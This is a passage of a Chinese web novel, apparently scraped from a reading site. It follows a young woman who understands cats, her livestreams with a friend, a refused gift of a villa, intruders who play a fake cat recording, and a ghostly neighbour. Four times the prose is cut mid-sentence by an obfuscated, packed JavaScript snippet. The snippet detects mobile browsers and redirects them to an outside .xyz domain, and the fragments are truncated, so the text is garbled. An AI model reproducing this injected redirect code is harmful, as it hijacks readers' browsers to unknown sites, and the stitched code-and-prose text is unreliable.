d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864225|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“账号收益分成我四你六。” 常喜乐举手,还没来得及说话,杨瑰司使劲摇了摇头,改口道:“我三你七。或者你想要二八分也可以……” “等等等等。”并不急着算收益分成,常喜乐打断她,想先弄清楚这个合作的可行性,“如果还是直播连线的形式,我们会很被动,因为无法判断对面是否真有灵异事件,也难以让猫配合着说话。” “这也是我要说的。”杨瑰司为这件事已经熬了几个大夜,胸有成竹地拿出电脑来把一份成稿的企划案给常喜乐看。 “鬼司”这个账号已经非常有名气,粉丝质量也相当高,每一次直播都能够吸纳相当一部分量的新粉丝。她打算发布招募令,展开一场线下司鬼活动。常喜乐负责借猫眼收集常人看不到的信息,而杨瑰司则凭借丰富的理论知识解决问题,过程全程直播。这样不论最后结果是猫界的“走近科学”,又或者是一场真实的灵异事件,都会非常有看点。 且成本极小,就算活动不成功,也不会对两人造成什么影响。 常喜乐仔细看完了这个方案——杨瑰司考虑地很细致,方方面面的情况都预设到了。 “怎么样,有什么需要修改的部分吗?”杨瑰司紧张地等候常喜乐的回复。 “有。”常喜乐点点头,敲着键盘改动了方案上的几个字眼。 上面原本写着的四六分成被她改成了“五五”。 “建立一个有质量的账号道阻且长,你已经为这个活动铺下了很良好的账号基础,实际上算是我占了你的便宜。”常喜乐说。 杨瑰司泪眼汪汪:“喜乐,我知道你不是很缺钱,也不那么在乎钱财,但该给的都得给你,你不用这样帮我的……” “错了。”常喜乐止住她的话头,反驳道,“我很缺钱。” 她还有一个贫困的男大学生要包养……不是,要付咨询费呢。 “况且,这也不完全算是在帮你。”她微微一笑,重新为杨瑰司所说的事下了定义,“是合作。” 合作的事就暂且敲定了下来,常喜乐当场在平台上创建了一个账号。起名时,她纠结了一会儿,也写了和“鬼司”对应的两个字。 杨瑰司凑到她身边说:“我编辑好文案了,让我来关注你吧,你叫什么?” 常喜乐走在回宿舍的路上,她把喝完的可乐扔到了垃圾桶里,听到手机叮咚响了一声。 她打开屏幕,显示【您关注的作者鬼司刚刚更新了一则动态~】 内容如下: “亲爱的观众朋友们,经过对未来创作方向的深思熟虑,我打算尝试一些新东西。现开启招募令——“我的猫猫有点怪”,邀请一位共创者与我一同免费为大家解决有关小猫的疑难问题。 下附详情链接。” [猫,性属阴,是极有灵性的一类动物。它们总能感受到些人类感受不到的,看到人所看不到的东西。 符合以下条件者可参与活动 1.你身边有一只以上的猫; 2.你发现它们有些奇怪.] 在这条动态中,@了一位名为“蓝瞳”的创作者,她的头像是一只湖蓝色的猫眼,账号内空空如也,没有任何作品。粉丝处也只有孤零零的一个“1”字。 而这个数字正在以不正常的速度迅速增长。 48.礼物 与杨瑰司的合作还需要时间准备,常喜乐先回了学校。等她到了寝室,发现方信艾也已经在今天收拾东西回了家,走之前给她留过言,只是常喜乐今天遇到的事情实在太多,并没有留意到这条讯息。 小艾:[俺不中了,自己住寝室实在太吓人了。我要回家撸狗啦!喜乐你加油,等我回来给你带老家特产吃!] (^v^) :[一个人太冷清了吗?] 小艾:[那倒不是,我觉得太热闹了] (^v^) :[嗯?] 小艾:[感觉厕所有人、阳台有人、衣柜里有人、床底有人、天花板上有人……感觉好多人在看着我,我连手机声音都不敢外放。] (^v^) :[……] 常喜乐抬起头,天已经黑透了,她刚才忘记打开宿舍大灯。四周的黑暗像雾气一般弥漫,一切东西在夜色中都是隐隐绰绰的,只有台灯下这一块还算亮堂。 她站起身走到阳台前把窗帘拉上,在原地叹了口气。常喜乐拍了拍自己的脸,又去打开了大灯,这下寝室里就亮堂了。她洗漱完后上了床,准备早点睡觉。 方信艾的床在常喜乐对面,她走得匆忙、连床帘都没拉好。一只玩偶大咧咧地靠在栏杆上,露出可掬的笑容。 那是任清回家之前留下来陪方信艾睡觉的周边娃娃,名叫“三水青”。说是玩偶,但它的五官都力求逼真、非常接近真人。漂亮的眼珠做了随重力方向移动的设计,瞳孔黑洞洞的,一眼望不到底。 它的笑容弧度一直保持不变,常喜乐就这么沉默地与之对视了一会儿,突然感觉身上起鸡皮疙瘩,随后迅速拉上了自己的床帘。 只是恐怖谷效应嘛……很正常,有些东西不能看太仔细。她安慰着自己,闭着眼睛酝酿睡意。 她感觉到了方信艾说的“太热闹”是什么意思了。 好不容易熬到了天亮,常喜乐顶着个黑眼圈坐起来,拿起手机悲痛道: (^v^) :瑰司,你能不能回寝室陪我住,我一个人有点不中了……! 王鬼:[咋了?] 常喜乐把方信艾说的话又复述了一遍。 王鬼:[您不是“苦心大师“”的亲侄女吗,竟然怕鬼?] (^v^) :[都说外甥肖舅,也没人说侄女肖姨啊!] 杨瑰司瘫在沙发上,有一搭没一搭地回着消息:[寝室太小了,要不你来我出租屋住几天吧,有空房。] 王鬼:[顺便再商量一下直播细节。] 常喜乐欣然接受了,天边露出鱼肚白,她安心地又躺回床上睡了个回笼觉。 等她被电话铃声吵醒的时候,已经是下午一点了。常喜乐披散着头发坐起来,按了几下才按中手机接通键:“喂?” “您好,请问是常喜乐女士吗?”对面是一个礼貌的男声,声线听起来还有一丝熟悉。 “你说。”常喜乐忍耐着起床气,心想这要是什么推销电话她就把对方大骂一通。 “打扰了,我是叶秘书,少爷有份礼物由我转交给您。” 什么秘书、少爷的,又不是在霸总小说。常喜乐拧着眉毛准备挂电话,手在快要碰到手机屏幕的时候突然完全清醒了。 噢,是戴西港的那位叶秘书。 “现在吗?”常喜乐看了眼时间,问他。 “是的,我目前在您的校门口,请问您大概什么时候方便出来一趟呢?”叶秘书回答地毕恭毕敬,但又有点不容置疑的口吻。 如果要问是什么时候方便,就应该提前约个她有空的时间。而不是先斩后奏地站在她学校门口等她吧? 常喜乐微不可察地叹了口气,也不想深究对方是怎么知道她的电话号码了,她说:“我说过不需要报酬,叶秘书你回去吧。” 叶秘书为难道:“少爷下了死命令,而且,他说这是小姐的遗愿之一。” 常喜乐大概也能理解一些打工人的不易。既然是戴山雁曾经吩咐过的事情,大概不会太离谱。 反正她收拾收拾就要去找杨瑰司小住了,顺路见一下叶秘书也不麻烦。 “那你稍等我一会儿。” 等常喜乐推着行李箱照着叶秘书所说的标志车辆走到校门口的时候,目瞪口呆了一把。他开的车太好认了,是一辆巨大的白色卡车。 叶秘书一身西装革履地从白色卡车的驾驶位下来,随后向常喜乐走来。有一瞬间常喜乐以为自己做梦还没有醒,因这辆车、包括这个人都实在和学校周边的环境格格不入。 校门口的保卫已经对着这个方向探头,似乎在考虑要不要让他换个地方停车。 “请上车吧。”叶秘书为她打开副驾驶位的车门。 “等等等等。”常喜乐还有点弄不清状况,“你说戴西港有礼物要给我?” 叶秘书停下动作,说:“是的。” “不能在这给吗?”常喜乐今天还要去找杨瑰司汇合呢。 “恐怕有些困难。”叶秘书沉吟了一会,对她说,“我向您展示一下这份礼物吧?” 他回身绕到车后面,打开了卡车的后备箱大门。 常喜乐顺着往里看,立刻瞪大了眼睛。在车里,尽管隔着一层白色的保护层,她还是认出这巨幅画作——是那天她在戴家山庄驻足欣赏的,Prosit绘制的“笑语俯瞰图”。 这么一幅在市面上价值千万的画作,就这么随意地出现在这市井之间、热闹街头的卡车后备箱里。常喜乐没忍住回头观察是否有人发现,她像乍然怀揣了巨额财宝的孩子一般立刻对周围的世界充满了戒备。 不仅因为画作的金钱价值,更因为它的艺术价值,不容毁坏。 戴山雁的确说过很多次要把这幅画送给她。但常喜乐没想到她临走前还记得和戴西港交待这件事。 常喜乐怔怔地又看了这画作一眼,仍旧不太敢相信地问:“送给我?” “是的。”叶秘书回答。 “但我没有地方可以放下它。”常喜乐回想起自己那四人间的宿舍,就算把所有人所有东西都清出去,也是放不下这幅画的。 “这一点我们也考虑到了。”叶秘书优雅地向她鞠了一躬,继续解释道,“少爷为您购置了一座别墅,专门用来放置此类画作。房屋后续的维护工作也都由我们来处理。“ 叶秘书在常喜乐显然没消化完这句话的迷茫目光注视下,伸手递给她一串银色的钥匙:”现在我就是要带您去那栋属于您的房子,地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870087|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离学校不远,就在附近的江淮区。您是否带上相关证件了呢?方便的话今天我们就可以安排完成赠与手续。” 叶秘书的时间很紧张,他抬起手腕看了眼表上的时间——一点四十分,他下午还排了许多日程,实在是一寸光阴一寸金。 “我拒绝这份礼物。” “什么?”叶秘书一只脚已经快要迈向驾驶座,就等常喜乐上副驾驶了。 在他日常的工作里,总是对自己的任务颗粒度要求很高。他力求考虑到事情的每个细节每一种可能性并提前做出处理方案。 然而今天的情况里,他可没有设想过常喜乐会“拒绝”。 在山城乃至整个C国,95%的年轻人终生都在为购置一套房而困扰。倘若常喜乐可以直接跳过这些步骤免费拥有一套房,她怎么可能会拒绝?叶秘书在来的路上羡慕到有一瞬间都希望是自己救了戴小姐的命了。 他强颜欢笑:“请容许我问一下原因?” “礼物过于贵重,我问心有愧。”常喜乐没有过多解释,只是笑了笑,果断告别道,“那么我还有事,先走了。辛苦叶秘书跑这一趟。” 叶远望着常喜乐拉着行李杆默默走远的背影,拿出手机拨打了一个电话。 “少爷,她拒绝了。” “我可以再想想办法。” “不用?”叶远神情困惑,他听着电话对面的男人轻笑了一声,说了一句话。 “我自己去见她。” 在挂断电话前,男人轻声评价:“这脾气,还真是像她。” 等常喜乐走进了杨瑰司在住的小区之后,才神情恍惚地又回头看了一眼。 她拿出手机紧急搜索了一下江淮区那片房子的市价,然后又深呼吸一口气缓了缓,才开始用手指点着数那一串数字后面究竟跟着几个0。 过了会,在朋友家搓麻将的唐柿心女士听到手机响了一声。 (^v^) :[妈妈,你的女儿刚才好像错过了什么财富自由的机会。] 你甜姨:[就你?] (^v^) :[真的!起码这个数!] 唐柿心干脆懒得打字,拿起手机呼了一串语音过去:“你听没听说过,杠,人是掌握不了自己无法把控的财富的。所以……碰,很多人乍富之后往往没有多久就恢复到了原来的财富水平……诶诶诶!胡了!” 语音末尾还有其他几位阿姨感到颇为可惜的叹气音。 唐柿心欢呼完后,补充完了她刚才没讲完的话:“所以你不要为了没把握住的财富难过,要不断学习提高技能,靠自己的脑子和双手去争!去抢!到时候,该来的自然都会来了。” 常喜乐默默听着语音里显眼的麻将碰撞声,虽然觉得这话有理,还是没忍住提问:“所以你提升的方式是靠打麻将吗,唐女士?” 唐柿心回复地很爽快:“是啊,这很锻炼脑子的好吗?新闻上都建议老人家打打麻将预防老年痴呆哦!” “妞儿啊,妈没空陪你聊了。妈要去努力了,这辈子争取让你当上富二代,你就可以放心躺平了。亲一个——” 电话挂断之前,常喜乐隐约感觉她又听见一声:“清一色自摸!” 声音来自唐女士。 49.蓝瞳 常喜乐敲开杨瑰司的家门后,对方隔空扔给她一把钥匙:“保管好啊,我就这么一把备用钥匙。” “没问题。”常喜乐拉着行李箱进了屋,杨瑰司在前面带路。今天她的屋子里比昨天要简单干净多了。 杨瑰司用手臂揩掉额头上出的汗,打开一扇靠近阳台的卧室门说:“这房间给你住吧,我刚收拾出来。” 常喜乐往里看了一眼,里头的装潢风格非常可爱。墙壁贴纸是粉色的草莓系列,床是复古的欧式公主床,床头则摆满了各种各样的布娃娃,和杨瑰司家的其他部分简洁冷淡的风格简直格格不入。 “喏。”不等常喜乐发问,杨瑰司就递给常喜乐一个金色的猫脸面具,她又拿着自己的黑色狐狸面具在脸上比划了一下,示意道,“直播时可以用。” “这个面具的作用是?”常喜乐接过面具戴上看了看效果,“熟悉的人一眼就能认出来了。” 这半张猫脸面具非常契合她的脸型,鼻梁处顺着她的鼻型贴合,眼睛处则恰好放大了她那双如猫一般圆亮的眼眸。乍一看去,除了那双亮极了的眸子,就是那微抿的红润嘴唇。 杨瑰司瞟了她一眼,淡淡地说:“让不熟悉的人找不到我就行了。” 互联网上什么人都有,谨慎些总没错,常喜乐也没再多问,开始收拾行李了。 等到了晚上,两个人都瘫在了沙发上。一个望天花板,一个看手机。 “我真是有点想家了,本来说好国庆回去的,票都买了。”常喜乐看着朋友圈里爸妈还有各个朋友在家乡发的朋友圈,感慨着开始算下一次回家得是什么时候,“元旦连不连着周末放啊?但三天好像也有点短了……坐飞机来回都要折腾两天。” “瑰司,我国庆没回家是有事绊住了。你没回去,你家里不念叨吗?”常喜乐随口问道。 “恐怕不只是念叨吧。”杨瑰司还保持着仰望天花板的姿势,扯扯嘴角笑了一下。 看来杨瑰司家里是很希望她回去了。常喜乐看唐柿心看起来就大方地很,一个人和朋友们玩乐得自在。 杨瑰司甩了甩头,突然问常喜乐:“要不要试播一下?让大家对你先有个印象,你也熟悉一下镜头。” 常喜乐一愣:“可以是可以……但要直播点什么内容呢?” “证明你的确熟练掌握猫语。”杨瑰司歪了歪头,“主题就是‘’半日小猫咨询‘怎么样?’我给你作辅助。” “行。我去拿面具。”常喜乐跳下沙发噔噔噔地去找猫和狐狸面具了。 等两人佩戴好面具后,也没再做其他打扮,由“鬼司”发起直播,随后“蓝瞳”参与视频连线。 蓝瞳这一账号下的粉丝已经有五千多个了,对一个刚起步的账号来说已经非常了不得,这全靠鬼司的引流。 而鬼司刚开播没多久,直播间人数就已经破了五千,这还是没有预告的前提下。 弹幕滚动速度快得常喜乐几乎要看不清了。 “失踪主播回归!” “啊啊啊啊鬼司你没退圈就好啊,没了你我拿什么助眠!” “前面那位的助眠方式还怪特别的嘞。” “一看到状态更新我嗖地一下就点进来了,我没错过什么吧!已经在和观众连线了吗?这个蓝瞳是谁呀?” “鬼司昨天发过的,是她新活动的共创方,你可以去看看她动态。” 很快常喜乐就看着自己账号这边涌来了许多观众。 “这个小姐姐眼睛好漂亮!像猫一样。” 常喜乐伸手打了个招呼:“嗨。”她还是第一次在这么多素不相识的人面前讲话,尽管心里一直对自己说这没什么,但随着心跳自然加速,她感觉脸也泛起了热度。 “耳朵红了,是不是害羞了哈哈哈哈。” “冷酷鬼司居然还有这么可爱的朋友?简直是两个极端。” “我以为她这么毒舌,现实中不会有朋友呢。” “所以主播是做啥的?我看账号里啥都没有啊。” “其实是有的,她一句话简介里写的是‘猫语沟通者’” 时间有限,要快一点进入正题了。常喜乐干脆顺着这个问题回答:“没错,今天的主题是和猫沟通,欢迎养猫的观众朋友参与连线。” 尽管大多数观众对此都不是很相信,但毕竟是免费直播,而主播又是个可爱漂亮的小姑娘,很快就有人参与连线了。 此时,蓝瞳的直播间人数已经到达了一万人。鬼司则退出了直播连线,转而进入蓝瞳的直播间默默观看。 这时观众的注意力已经完全转移到了“和猫沟通的妹子”上,只有零星几个人还在疑惑:“诶,看鬼司和蓝瞳的背景一样,她俩是不是搁一块儿呢?” 对方打开了镜头,是一个戴着黑框眼镜的男生,他看起来性格很开朗,率先打起了招呼:“哈咯哈咯,蓝瞳你好,你可以叫我小高。” “你好。”常喜乐观察了一下画面,没有看到猫,问道,“你家里有养小猫吗?” “有!这就是我想问的问题。”小高拿起手机往外走,他把镜头翻转对向房间角落的一只三花猫。那小猫原本卧躺着,一看他靠近立刻就爬起来往别的房间跑。小高哀嚎着说:“它以前很亲我的,结果现在一看到我就跑。你能知道是为什么吗?” 常喜乐沉吟了一会儿,问他:“你能不能拦住它,近距离和它接触一下。” “可以啊。”小高人如其名,长得人高马大,没几步就拦截住了三花猫的去路,把它抱了起来。然而那三花猫挣扎地很剧烈,大叫了几声就挣脱开,又跑掉了。 “就是这样,它一点儿都不让我碰。甚至喂饭的时候我看着它都不愿意吃。”小高沮丧地对镜头说。 常喜乐回忆着刚才听到的猫语,有些哭笑不得。 “主播咋不说话了?” “不道呢,是不是猜不出来了。” “害,也正常,我就说咋可能有人能听懂猫语。” “鬼司也是落魄了,都开始给这种账号引流了,收了多少钱啊?” 弹幕里人多口杂,很快就有不好的言论出现。 常喜乐却完全没关注评论说了什么,她认真地问小高:“你最近是不是接触过其他猫,而且没有换衣服就回家了?” “啊?”小高回忆了一会儿,“噢对,前几天朋友出差了,托我去她家喂猫……你咋知道的呀?” “顺便还和人家猫玩了一会儿吧?”常喜乐笑着问。 “哈哈……”小高不好意思地笑了笑。小猫如此可爱,遇见了逗一逗实属人之常情。 “它刚才说,你在外面都有别的猫了,干脆它把位置让出来得了。”常喜乐问小高,“你算算,它不理你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873576|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间和你去朋友家喂猫的时间是不是正好?” 小高算了一会儿,惊讶道:“还真是。” 弹幕也纷纷疑惑:“这咋猜出来的?” “歪打正着吧。” 下一个连线的是个女孩,她id叫钟悦,笑起来有个小虎牙:“哈咯蓝瞳,我是鬼司的忠实粉丝!” 常喜乐笑着看她把镜头翻转对向另一边的猫。“我家猫最近对我很凶,不过我知道为什么。你来猜猜看吧?”她把手伸向那只奶牛猫,对方立刻从喉咙里发出咕噜咕噜的声音,不许她靠近。 常喜乐摇了摇头:“它没有说含实际意义的话,我听不出。” 弹幕又滑动地快了起来:“是猜不出来了吧……” “前一个没有答案,当然随便她说。这一个主人已经知道为什么了,她就不好蒙了。” 钟悦却没有露出不信任的神色,只是有些为难:“再逗它可真要挠我了。”说罢,还是伸手强硬地撸了一下奶牛猫的脑袋。 “喵!”那奶牛连着叫了好几声,向主人挥了一把爪子。钟悦连忙缩回手,拍拍胸口感叹:“嚯……还好我反应快。” “你给它做绝育了?”常喜乐挑眉。 钟悦瞪大眼睛,下意识问:“你怎么知道的?它说啥啦?” 常喜乐微微笑了笑,赧然道:“它骂你和那个杀千刀的医生是一伙的,害它绝后了。” 钟悦哭丧着脸,后悔道:“我错了我真的错了。当初我朋友建议我和医生演戏,假装它是被抢走的。但我没信,亲手把它送给绝育医生的。” 弹幕闪过一长串“哈哈哈哈哈哈哈”。 “主播还真有点神哩,不愧是鬼司的朋友。” “啊啊啊关注了。下次和鬼司联动直播的时候务必要发提醒啊,我不会错过的!” “已投稿,望抽中。” 这会儿正值晚上娱乐时间的高峰期,加上各种因素,蓝瞳直播间人数已经将近五万了,她的粉丝也多了好几千,逼近了一万。 宣传的效果已经达到,常喜乐正打算再连线一位观众就下播,却突然听见公寓门口传来一阵凄凉的叫声。这声音尖细,乍一听像婴儿哭,仔细再听,又似乎是猫在叫。 “这是怎么了?”常喜乐坐起来,盯着门口的方向仔细听。 杨瑰司看她直播正入神,这会儿有些烦躁地抓了抓头发:“发情期的猫吧?叫了好几天了,我觉都睡不好。” 弹幕顿了会儿,立刻就炸开了锅。 “诶?是鬼司的声音吗?是吧是吧!” “我超,她们两个住在一起呀?羡慕!” “在羡慕哪个?” “别管,反正就是羡慕!” “刚我就说她俩直播背景贼像。” “主播去看看呗,这只猫在叫什么呢?” “我也一直很好奇,发情期的猫一般都说点啥啊——‘来啊快活啊’这种吗?” “楼上笑死我了……” 杨瑰司从前都懒得管,这会儿看弹幕要求了,又觉得无所谓。她问常喜乐:“要去看看吗?” 然而常喜乐紧盯着门口,神色却有些凝重:“这不是猫叫。” 这一长串哀叫根本没有含义,且每过一分钟就一模一样地重复一遍,连语调都完全雷同。 “是伪造的猫叫录音。” 50.录音机 弹幕沉默了一会儿,一瞬间居然没人发言。但很快就有难以计数的评论滚动而上,原来是发言者太多导致的系统卡顿。 “啥意思,我怎么有点不懂?” “这种门外放录音的事件我好像听过,以前有人半夜在外面放婴儿哭声的录音,骗独居女性出门然后加害。” “但我觉得这猫叫蛮真实的呢?” “给我家猫听了,它以前听到小猫呼救会很担心的,但这会儿看起来像是有点害怕。” “如果是人伪造的猫叫,对猫来说岂不是就像我们看到伪人一样可怕?” “出门看看呗,这直播我蹲了这么久终于有看头了。” “主播别听楼上的,别出门啊,一个女孩子没有武力值很危险的!” 常喜乐看着弹幕上或好心或看热闹的各色发言,问杨瑰司:“你怎么看?” 杨瑰司沉吟了一会儿:“抓鬼我在行,人就有点难办了……” 常喜乐又问:“你对门有没有住人?天天有猫叫邻居没有意见吗?” 杨瑰司默默看了她一眼,把她手机的麦克风关上后才说:“好像是位在外租住的学生,前几天有几个警察过来问我有没有见过她,说是父母一直联系不上人着急了。撬开锁进门才发现她好几天前就猝死了。” 这就是辅导员前段时间突然开始严抓外宿的原因。 也就是说,这一层目前只有杨瑰司一个人在住。 那么的确,我在明敌在暗,贸然出门并不是明智的决定。但既然杨瑰司说这种情况已经出现很多天,说明是一场有预谋的行动。 那置之不理就不算最好的解决办法了。 要不要报警呢?常喜乐还没拿定主意,头顶天花板的灯闪了闪就暗下来了,整间房的电器都停止了运作,光源只剩下她手机中那不断闪烁的屏幕。 杨瑰司打开手电筒去墙边按了几下开关,没有反应。常喜乐则把手机搁置在桌上背朝着阳台,走到窗户边往楼下看了眼:“这栋楼其他住户房间的灯大部分都亮着,只有我们这停电。” “跳闸了?”杨瑰司啧了一声,“但电闸开关在外面。” “也可能是人为关上的。”常喜乐拧着眉,这种骗独居女性出门的案件也是数不胜数了,“要不报警吧?” 如果是有人故意关电闸,这就是在逼人出门查看了。 杨瑰司很快拨打了报警电话,挂断后和常喜乐对视了一眼,两人同时噤声,慢慢走到门边观察外面的动静。 “你这门结实吗?要不我画个关门符镇一下?”常喜乐第一次遇到这种情况,随着肾上腺素飙升,她的心脏跳动也不断加速,背后泛起一阵阵鸡皮疙瘩来。 “吵死了吵死了吵死了!有完没完啊!” 常喜乐听到这句话后愣了愣,她迷茫地看向杨瑰司,却发现对方并没有张口。随后,门外突然传来两个男人惊慌大叫的声音:“啊啊啊啊你不要过来啊!” “鬼!有鬼!” 一阵嘈杂的金属物碰撞声后,屋外就没了动静,只剩下断断续续、不时含着电音的无意义猫叫。 “你刚听到了吗?”常喜乐问。 “那两个男的声音?”杨瑰司反问。 “不,有个很年轻的女声,刚才大发雷霆地吼了一阵。”常喜乐话没说完,又听见门外传来不耐烦的一声“啧”。 “这破机器怎么关?吵得老娘觉都睡不好。”那女人的声音很焦躁,忽远忽近的,不知她是否在来回踱步,但常喜乐并没有听见脚步声。 突然,那冰冷的女声出现在了常喜乐耳边:“喂,你能听见我说话吗?” “啊!”常喜乐吓得往后一仰,坐在了地板上。 “你怎么了喜乐?”杨瑰司从刚才起就觉得常喜乐神不在焉,一直在注意门外的动静。这会看她脸色煞白,似乎被什么东西狠狠吓了一跳。 “能听见吗?能听见吧!”那女生咯咯地笑起来,然后对常喜乐说,“帮帮忙,能不能出门把那破录音机关了?那两个男的被我吓跑了,这会儿出去没事。” “你……你是谁?”常喜乐惊疑不定地抬头看,但目光所及之处除了一脸担心看着她的杨瑰司之外再也没别人了。 “我是瑰司啊,喜乐,你到底听到了什么?”杨瑰司晃着常喜乐的肩膀。 “我是隔壁的呀。好歹邻居一场,帮帮忙好伐。” 两个声音同时响起,常喜乐深呼吸了一口气,感受到杨瑰司搭在自己肩膀上的灼热体温,努力保持冷静。经历了这么多事,她对鬼怪也算有点脱敏了。何况杨瑰司就在身边,对她来说鬼才没有人可怕。 说来也奇怪,随着常喜乐的心跳平复,刚才那诡异的女声也顷刻消失不见了。很快她的世界只剩下杨瑰司的询问声,还有门外不成调的录音机声。 “她说……门外两个男人已经被吓跑了,请我们去关掉那个录音机。”常喜乐回过神来,有些语无伦次地对杨瑰司复述。 “她是谁?”杨瑰司拧眉。 “她说,是我们的邻居。”常喜乐咽下口水,和杨瑰司无声地对视了一会。答案不言而喻,刚才那是隔壁前几天猝死的女大学生。 “要去关吗?”常喜乐呼着气,试着站起来,却发现腿已经有些软了。 “等警察来。”杨瑰司握住常喜乐的手腕慢慢把她拉了起来。这人看起来显得冷静很多,她垂着眼叮嘱常喜乐,“鬼也曾经是人,是不受法律约束的‘人’。它们的话,听听就算了。” 常喜乐这才想到这层,她终于算是完全冷静下来,笑了笑:“这话我小姨也和我讲过。” 随着电话铃声响起,常喜乐循着声源看去,是桌上杨瑰司的手机在震动。与此同时,常喜乐才发现她的手机被她忘在了桌子上,仍然在直播呢。 她拿起手机一看,弹幕早就炸了。刚才杨瑰司为了不暴露隔壁住户隐私关掉了麦克风,因此观众们只能看到画面却听不到声音。今晚的月光很亮,顺着那一点光线,常喜乐刚才惊恐的表情也被尽收眼底。 “到底咋回事儿啊,有没有人能解码主播刚在说啥呢?” “晕,不是在温馨猫猫交流频道吗,怎么给我整法制栏目来了?” “666主播演技不错。” “不能是演的吧,要是演的主播可就是报假警了。” 杨瑰司看到了派出所的回电,接通了电话。涉及办案的事就不方便直播了,常喜乐也干脆关掉了直播间。 弹幕刚扣出一堆问号,屏幕上就显示“直播已结束,5秒后进行跳转”了。 警察出警效率很快,他们已经到达了楼下。等确认门外的确只有警察后,常喜乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881431|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和杨瑰司才打开了房门。 在向两人了解完情况后,警察提取了现场指纹,并表示会调取楼道内的监控。 “不知道嫌疑人是否会再回到现场。你们晚上看看要不换个地方住,我们可以送你们去。或者就把门窗锁好避免外出,有任何问题打电话联系我们——刚才你们电闸被关也没有贸然出门,非常有安全意识,要保持……”警察叔叔细心地叮嘱了很多,表示他们会加紧调查。 常喜乐和杨瑰司配合地点点头,她们还是决定继续住房间里。至于刚才那听上去很荒谬的邻居闹鬼一事,两人都默契地没有提到。 等警察走后,这事才算告一段落。杨瑰司把门锁扣上,拴上防盗链,拿了个玻璃杯挂在门把手上,随后想了想又拿把木椅子搬到了门口抵住。 常喜乐看着她走来走去,沉吟了一会儿,问她有没有朱砂符纸。 “现画符?”杨瑰司挑眉,“你也有点高看我了,我在画符上就是个理论派。”她耸耸肩膀,不知是不是因为她自称鬼司,神这边对她的态度并不是很热络。她画符如果不是下血本,十次有八次是不中的。 不过她还是拿出了符纸,伸出手指准备咬破,以血为约试试看。 “喂喂!”常喜乐连忙拦住她,“用朱砂,让我试试。我成功过两次了。” 杨瑰司看着常喜乐行云流水地画好几张“关门符”,一般人看不出,她却注意到那符面上隐隐流动着一股气,在月光下发出细闪。 这就是画成了。 “他们还真是眷顾你。”杨瑰司难得说话带酸。 这种事,的确很看缘分,羡慕不来。 常喜乐细心地给门窗都贴好“关门符”,这才拍拍手松了口气。 两人又收拾了一下屋子,常喜乐才终于想起来刚才被她仓促抛下的数万名观众朋友们。 她有些忐忑地打开网页,一打眼就推送了一个视频来。定睛一看,居然是对她账号的录播。 熟悉的营销号声音讲解了这场直播最开始的情况,简单介绍了“蓝瞳”连续两次对猫语的成功解读。随后就来到了门外传来奇怪猫语的环节,到这里,直播的走向已经与她们最初开播的目的截然不同。然而,也就是走向诡异而神秘的剧情吸引了更多的好奇的观众。一传十十传百,在她们不知道的时候,直播间的人数几乎已经突破了“鬼司”平常的直播人流量。 她们顺着月光中显露出来的一点口型猜测着常喜乐在说什么,又在悬而未决的事件中不断为之赋予神秘色彩,越传越玄乎了。常喜乐的粉丝数也已经突破了3万,许多人好奇事件后续。 杨瑰司看着评论走向,一时有些哭笑不得:“虽然方向不太对,宣传效果倒比预期的好。” 常喜乐则有些懊恼之前的承诺没达成,她的账号底下终于出现了第一条动态: [抱歉,因突发情况,直播提前结束。欠下的那一位观众连线我们下次再补上。] 至于评论底下问刚才发生的情况细则,由于嫌疑人还未抓获,为了不影响警方办案,常喜乐并没有回应。 这一场闹剧也就在不得回应中不断发酵,在假期夜晚成了人们满足猎奇欲望的一个受力点。 当然,如果两人能早点知道,这一场直播究竟会带来什么的话,也许一开始,她们就不会选择开这个头。 51.好巧 等警察叔叔离开之后,杨瑰司和常喜乐面面相觑了一会儿。 “你现在还能听到隔壁邻居的说话声吗?”杨瑰司率先问她。 常喜乐仔细感受了一下后,摇了摇头。 但她体质特殊,既然听见了,说明那位猝死学生的灵魂的确还在此地游荡没有离开。只是不知道和她交流的契机是什么了。 “没关系,我来。”杨瑰司跑回房间翻找了会,拿出一张写了很多字的羊皮纸和一支笔来。 